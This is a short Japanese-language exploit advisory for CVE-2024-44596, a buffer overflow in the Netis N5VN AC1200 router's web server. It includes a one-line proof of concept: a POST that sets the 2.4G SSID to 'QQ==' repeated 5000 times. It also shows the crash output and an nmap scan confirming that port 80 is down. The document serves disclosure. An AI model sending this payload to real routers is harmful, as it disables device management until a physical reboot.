Netis-N5VN-AC1200-DOS

エクスプロイトタイトル: Netis N5VN AC1200 - バッファオーバーフロー DoS（サービス拒否）

• 日付: 05/03/2024

• エクスプロイト作成者: Van Lam Nguyen

• Facebook: fb.com/vanlam1412

• ベンダーホームページ: Netis Systems

• バージョン: Netis N5VN AC1200 V1.0.1.1742

• テスト環境: Windows

• CVE : CVE-2024-44596

概要

• Netis N5VN AC1200 ルーターにはバッファオーバーフローの脆弱性が存在し、細工されたリクエストを送信することで、攻撃者がルーター上で動作している Web サーバーをクラッシュさせることが可能です。

• http（Webサーバー）を復旧させるには、ユーザーはルーターを物理的に再起動する必要があります。

概念実証（Pythonを使用）

• Wireless 2.4G の ssid を変更する POST リクエスト（'ssid': 'QQ==' * 5000）

• 成功: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None))

• nmap 192.168.1.254 -p 80 80/tcp closed http

ここでビデオデモをご覧ください